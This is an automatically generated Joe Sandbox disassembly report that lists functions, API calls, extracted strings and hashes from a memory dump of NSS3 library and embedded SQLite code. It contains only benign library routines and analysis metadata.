Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: 927d2bcf762228c4265458225fe219c0471e8cf90f9a9fc1e86fb6860f0c885b
Instruction ID: 41dd309de27050afd80a3d69d7f55302cb2695185ec0cc246b2cc5d31a5a7979
Opcode Fuzzy Hash: 927d2bcf762228c4265458225fe219c0471e8cf90f9a9fc1e86fb6860f0c885b
Instruction Fuzzy Hash: 8321C1BAE0A34B57FF004656AC43BAB32F89BA1759F050024EB17EF245F761D41486A2

Function 6D0D8D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6D1214E4,6D08CC70), ref: 6D0D8D47
PR_GetCurrentThread.NSS3 ref: 6D0D8D98

Part of subcall function 6CFB0F00: PR_GetPageSize.NSS3(6CFB0936,FFFFE8AE,?,6CF416B7,00000000,?,6CFB0936,00000000,?,6CF4204A), ref: 6CFB0F1B
Part of subcall function 6CFB0F00: PR_NewLogModule.NSS3(clock,6CFB0936,FFFFE8AE,?,6CF416B7,00000000,?,6CFB0936,00000000,?,6CF4204A), ref: 6CFB0F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6D0D8E7B
htons.WSOCK32(?), ref: 6D0D8EDB
PR_GetCurrentThread.NSS3 ref: 6D0D8F99
PR_GetCurrentThread.NSS3 ref: 6D0D910A

Strings

%u.%u.%u.%u, xrefs: 6D0D8E74

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 003d0fcf6812f936f0517eef97df77c20bd611a58c9f87bbc77617bb0110b7aa
Instruction ID: fbf559fd3a6b8a003028434f48c2fa6104274120f8437c8548faa6f5145da7a1
Opcode Fuzzy Hash: 003d0fcf6812f936f0517eef97df77c20bd611a58c9f87bbc77617bb0110b7aa
Instruction Fuzzy Hash: 450288359043568FEB19CF19C4687BABBF6EF86300F49C25BD8955B291C331E989C790

Function 6CF5EFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

%s %T already exists, xrefs: 6CF5FAC8
there is already an index named %s, xrefs: 6CF5F9D7
sqlite_temp_master, xrefs: 6CF5F0A6, 6CF5F2D5
temporary table name must be unqualified, xrefs: 6CF5F734
not authorized, xrefs: 6CF5F957, 6CF5F9BA
table, xrefs: 6CF5F05C, 6CF5FABC, 6CF5FAC7
authorizer malfunction, xrefs: 6CF5F95C, 6CF5F9BF, 6CF5FA5E, 6CF5FA8B
sqlite_master, xrefs: 6CF5F0AB, 6CF5F2DA, 6CF5F757, 6CF5F93E
view, xrefs: 6CF5F061, 6CF5F071, 6CF5FAB7

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: 8b97524be11a2226d569f3122fcca4e84c909c64e6e1b16de42111024384c4a3
Instruction ID: 5e6a2abd7eac9e04b79e91e0fd5597b8e8ee16c4e52de882fdf9672eebb50821
Opcode Fuzzy Hash: 8b97524be11a2226d569f3122fcca4e84c909c64e6e1b16de42111024384c4a3
Instruction Fuzzy Hash: E672F070E042058FDB54CF28C480BAABBF2FF59308F5581ADCA159B792D775E866CB90

Function 6D079C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6CF4C52B), ref: 6D079D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6D07A035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6D07A114

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6D07A01F, 6D07A0E4, 6D07A0FE
%s at line %d of [%.10s], xrefs: 6D07A02E, 6D07A10D
database corruption, xrefs: 6D07A029, 6D07A108

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: 36f35f421fc79687dcd29974babfed6891020e68bd9faf4a380faea8f5522c15
Instruction ID: af7459fa511206e5f05c7c95704b7a78ed4a3fb6181195a3dc934ebab3a0b609
Opcode Fuzzy Hash: 36f35f421fc79687dcd29974babfed6891020e68bd9faf4a380faea8f5522c15
Instruction Fuzzy Hash: 8D22AE716483418FE725CF29C490B2EBBE1BF8A344F50CA2DE9DA9B251D731D846CB46

Function 6D099D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6CF58637,?,?), ref: 6D099E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6CF58637), ref: 6D099ED6

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6D099EC0
%s at line %d of [%.10s], xrefs: 6D099ECF
database corruption, xrefs: 6D099ECA

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 3c9cedada4d0183d4b8d8f377cac50e55a9fb2f8ee6e8ce4b4adac10caa4b736
Instruction ID: f65ce9941dd29d937f8308ebf841191d51854137ac649a1b50a5668f0b853369
Opcode Fuzzy Hash: 3c9cedada4d0183d4b8d8f377cac50e55a9fb2f8ee6e8ce4b4adac10caa4b736
Instruction Fuzzy Hash: 9B81A331B042068FEB04CFA9D980BEEB3F6AF48300B55A129E915AB351D770EE45CB50

Function 6D0A7F20 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 713COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,?), ref: 6D0A81BC

Strings

BINARY, xrefs: 6D0A8126
out of memory, xrefs: 6D0A835B

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: memset
String ID: BINARY$out of memory
API String ID: 2221118986-3971123528
Opcode ID: d4a2a0a78cef4d0e7f924ddfac5ebed596f1ea1b0b36a246019dc3146577e6b3
Instruction ID: a88f785b00be2afd3dfdb9f01c20bec2fe6c80c457cd2c325025670332f3e7b1
Opcode Fuzzy Hash: d4a2a0a78cef4d0e7f924ddfac5ebed596f1ea1b0b36a246019dc3146577e6b3
Instruction Fuzzy Hash: 9E528D71E042599FEB14CFD8C890BAEBBF6FF48314F198069D855AB352D730A846CB90

Function 6D029EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6D029ED6

Part of subcall function 6D0214C0: TlsGetValue.KERNEL32 ref: 6D0214E0
Part of subcall function 6D0214C0: EnterCriticalSection.KERNEL32 ref: 6D0214F5
Part of subcall function 6D0214C0: PR_Unlock.NSS3 ref: 6D02150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6D029EE4

Part of subcall function 6D0210C0: TlsGetValue.KERNEL32(?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D0210F3
Part of subcall function 6D0210C0: EnterCriticalSection.KERNEL32(?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D02110C
Part of subcall function 6D0210C0: PL_ArenaAllocate.NSS3(?,?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D021141
Part of subcall function 6D0210C0: PR_Unlock.NSS3(?,?,?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D021182
Part of subcall function 6D0210C0: TlsGetValue.KERNEL32(?,6CFC8802,00000000,00000008,?,6CFBEF74,00000000), ref: 6D02119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6D029F38

Part of subcall function 6D02D030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6D029F0B), ref: 6D02D03B
Part of subcall function 6D02D030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6D02D04E
Part of subcall function 6D02D030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6D02D07B
Part of subcall function 6D02D030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6D02D08E
Part of subcall function 6D02D030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6D02D09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6D029F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6D029F59

Part of subcall function 6D029D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6D029C5B), ref: 6D029D82
Part of subcall function 6D029D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6D029C5B), ref: 6D029DA9
Part of subcall function 6D029D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6D029C5B), ref: 6D029DCE
Part of subcall function 6D029D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6D029C5B), ref: 6D029E43

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: 715495fca00a45bba39f2445256ec5377167c8dc06b955ce1dec63ddcd8ddc5b
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: DA112BB5F492425BF7408F65BC40B6BB798AF9434CF160135EA098B340FB62E91082E2

Function 6D0DCDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D0DD086
PR_Malloc.NSS3(00000001), ref: 6D0DD0B9
PR_Free.NSS3(?), ref: 6D0DD138

Strings

>, xrefs: 6D0DCF5B

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 220e450383cbf30afbd3ed25e4b05c25209375da5ad5471b7b6031d703223232
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: CED15866B407470FFBA548788CA13EE7B93D7C6370F98432BD1218B3E5E61988878725

Function 6CF5AC60 Relevance: 6.4, Strings: 5, Instructions: 181COMMON

Download Yara Rule

Strings

Pm, xrefs: 6CF5ADDB, 6CF5ADF5, 6CF5AE6A
0m, xrefs: 6CF5ACC0, 6CF5AD22, 6CF5AD5E, 6CF5AE45
pm, xrefs: 6CF5ADA7
winUnlock, xrefs: 6CF5AE18
winUnlockReadLock, xrefs: 6CF5AE9F

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID:
String ID: 0m$Pm$pm$winUnlock$winUnlockReadLock
API String ID: 0-3973715933
Opcode ID: 6682c6b6669cef7d71add932dcbafec1ac5609027782b0c5b3a25ecb4f2e15ed
Instruction ID: d2f47cc184745e97137c39894e18fb01f39a75e4027a16ed7e1c2cae5ae3c990
Opcode Fuzzy Hash: 6682c6b6669cef7d71add932dcbafec1ac5609027782b0c5b3a25ecb4f2e15ed
Instruction Fuzzy Hash: E471AE71608340AFDB04CF28E885BAABBF5FF89304F14C618FA5997601D770EA91CB91

Function 6D07AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c39a3bfd9c63dab3724d27a98ebba3a34d353b071241835d50e48179097fc347
Instruction ID: 20392f6f17ae242e144f89ba1e6a6c34d17d168b48240fda47d3dbefc644b686
Opcode Fuzzy Hash: c39a3bfd9c63dab3724d27a98ebba3a34d353b071241835d50e48179097fc347
Instruction Fuzzy Hash: A1F101B1E002578FEB14CFA8E9407BA77F1BB8A304F25412DD915EB744E7B19A81CB85

Function 6D06DFC0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CF45001,?,00000003,00000000), ref: 6D06DFD7
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000003,?,6CF45001,?), ref: 6D06E2B7
memcpy.VCRUNTIME140(00000028,00000003,?,?,?,?,?,?,00000003,?,6CF45001,?), ref: 6D06E2DA

Strings

W, xrefs: 6D06E111

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: W
API String ID: 160209724-655174618
Opcode ID: 7d014e76ca90635e34af3873f48eb49950f4556f0438377ea96f8f6702bbf671
Instruction ID: b94c7bddbcca3756a4864996aafc3687d96ce1b6b887d58ad6b21271c587db7a
Opcode Fuzzy Hash: 7d014e76ca90635e34af3873f48eb49950f4556f0438377ea96f8f6702bbf671
Instruction Fuzzy Hash: 9FC1B671A043968BFB05CE2988907BE7BF2BF86704F59C069DC59DB241D7319942CBB0

Function 6CF54DB0 Relevance: 5.3, Strings: 4, Instructions: 318COMMON

Download Yara Rule

Strings

Pm, xrefs: 6CF55019, 6CF550FA, 6CF55157, 6CF551DE, 6CF551F2, 6CF5520D, 6CF55220, 6CF552A2, 6CF552B5
0m, xrefs: 6CF54EDE, 6CF54F82
pm, xrefs: 6CF54E1C, 6CF54E81, 6CF54FDE, 6CF55047, 6CF550BB, 6CF551A3, 6CF5526C
winUnlockReadLock, xrefs: 6CF55125

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID:
String ID: 0m$Pm$pm$winUnlockReadLock
API String ID: 0-3457131940
Opcode ID: 0b2117ddfa66a8a94962e74f83dcb9875b73554a62dda5b5f7c0746195be3688
Instruction ID: 09718fdbc48d0a6ae0b90b073197ad6f723f221baa022a4d80eb4970d5059403
Opcode Fuzzy Hash: 0b2117ddfa66a8a94962e74f83dcb9875b73554a62dda5b5f7c0746195be3688
Instruction Fuzzy Hash: 4DE169709083409FDB04DF28E985B5ABBF0FF99308F518A1DF99997210E7709A95CF82

Function 6CF56F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

sz=[0-9]*, xrefs: 6CF57049
*?[, xrefs: 6CF57034, 6CF57052, 6CF57070
noskipscan*, xrefs: 6CF57067
unordered*, xrefs: 6CF5702B

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: 2632160f660f2c85b5d852fa5e3760a2fdb9694362ed8c7487e683043520a00e
Instruction ID: f7a3164a4622e952d56e8ba53ddf46f637ecbc478fbf5cfc46b71e027d906d31
Opcode Fuzzy Hash: 2632160f660f2c85b5d852fa5e3760a2fdb9694362ed8c7487e683043520a00e
Instruction Fuzzy Hash: 5171BF32F201114BEB108A6DC88039FB7E29F91314FA6823ACF25ABBC5E7715C1687C1

Function 6CF73EC0 Relevance: 4.3, Strings: 3, Instructions: 583COMMON

Download Yara Rule

Strings

sqlite_temp_master, xrefs: 6CF7460F
sqlite_, xrefs: 6CF73FAA, 6CF74185
sqlite_master, xrefs: 6CF7463F

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID:
String ID: sqlite_$sqlite_master$sqlite_temp_master
API String ID: 0-4221611869
Opcode ID: 25e0501abab06fa757cd3839e9338d72c7108204814898a9e944922f0b1b815f
Instruction ID: fa536b87dfac28997b1a9dfedb813fd5cab26496971163cac0c80f1ecc9319d4
Opcode Fuzzy Hash: 25e0501abab06fa757cd3839e9338d72c7108204814898a9e944922f0b1b815f
Instruction Fuzzy Hash: B5226B207481954FD7258B25A0606F7BFF2EF47308B2985ABC9E59FA46C721D846CFB0

Function 6D0ABE70 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 1029COMMON

Download Yara Rule

Strings

`, xrefs: 6D0AC0B6

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 97389dfb90220b1a1cb35cd9804b37c5b7a297ff83f701859a224aef80be2d25
Instruction ID: e79dd1f9ed19ac1438d17d6997f5e2995c18d87f793c896f2f8f077662041690
Opcode Fuzzy Hash: 97389dfb90220b1a1cb35cd9804b37c5b7a297ff83f701859a224aef80be2d25
Instruction Fuzzy Hash: 0C925B78A0420A8FEB15CFA4C890BBEB7F2BF49304F198169D415AB392D775EC46CB54

Function 6CF43D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6CF43EA9

Strings

0, xrefs: 6CF43DAB

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

